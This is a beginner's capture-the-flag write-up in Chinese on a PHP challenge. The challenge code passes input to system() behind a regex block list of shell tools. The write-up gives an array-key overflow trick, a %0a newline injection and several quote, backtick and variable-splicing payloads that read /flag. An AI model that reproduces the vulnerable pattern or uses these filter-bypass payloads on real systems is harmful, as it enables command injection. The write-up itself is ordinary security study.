作為一個新手,一路走來,人都麻了,就當積累知識點了!
1. 進入到題目場景,看到代碼,因此想到代碼審計

2.嘗試分析代碼
<?php
//php5.5.9
$stuff = $_POST["stuff"]; // 接收POST傳過的引數,key為"stuff"
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') { // stuff的引數要與array恒等,且stuff陣列第一個引數不能為admin
$num= $_POST["num"]; // 接收POST傳過的引數,key為"num"
if (preg_match("/^\d+$/im",$num)){ // 正則匹配num
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ // 用于過濾命令符
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
3. 分析代碼
1. 分析一:
if($stuff === $array && $stuff[0] != 'admin')
既要保證完全等于,又要求第一個元素不等!因此只能猜到陣列方面存在的漏洞(至于什么漏洞,想不到),參考大佬們的解題思路,發現對該漏洞解釋的博客:
- PHP陣列的key溢位問題.
- PHP的資訊安全(入侵獲取$flag)的題目【Q2】.
也就是說,定義 stuff[4294967296]=‘admin’ ,保證stuff[0]!=amdin且$stuff === $array,(這點我還是沒看懂為什么,求大佬科普一下)
于是構造post的payload引數:
stuff[4294967296]=admin&stuff[1]=user
2. 分析二:
preg_match("/^\d+$/im",$num)
其中/^表示正則匹配字串的起始部分,\d表示匹配任何十進制數字,+表示匹配1次或者多次前面出現的運算式,$表示匹配字串終止部分,/im中i(ignore)表示執行大小寫不敏感的匹配,m(multiple)表示允許多行匹配,
但是我們需要字符去執行命令,因此^和$不只是匹配字串的開頭和結尾,也匹配一行的開頭和一行的結尾,因此我們利用 %0a 換一行,把命令寫在其他的行,這樣這個正則匹配就只能匹配到第一行了,(%0A在ASCII表中表示換行符)
*注意:此處的hackbar不知道為啥,掉鏈子顯示不出來,因此用burpsuite改包去操作
3. 分析三
preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
對關鍵字符命令進行過濾,如果num中出現諸如此類的字符,則直接過濾掉
4. 使用burpsuite
1. 正常抓包

2. 修改payload

3. 繞過
如何可以對內容繞過,參考大佬的博客特殊字符繞過
我們可以利用這些方式來繞過(不考慮編碼繞過之類的):
ca''t
cat""t
ca\t
ca``t # 兩個反斜點也可以
因此我們構造payload
stuff[4294967296]=admin&stuff[1]=user&num=123456%0Aca``t /fl``ag
如圖:

4. 其他解決方法拓展(參考大佬的博客)
- 利用過濾字符
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在沒有傳入引數的情況下,這些特殊字符默認為空
num=1%0aca$1t /fl$1ag
num=1%0aca$@t /fl$@ag
本題中的{}符號已被過濾
- 利用檔案的iNode號


cat既然被過濾了,那就用tac繞過,然后利用反引號來讀檔案:

- 也是一種比較常用的方法,既然過濾了flag,而又沒過濾$,就可以用變數拼接:
num=1%0Aa=f;b=lag;tac /$a$b;
如圖:

5. 總結
- 考察數字漏洞
- 正則表達
- 基本命令
我是跪著看完寫完的,太難了o(╥﹏╥)o,如有問題,懇請批評指正
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/398603.html
標籤:其他
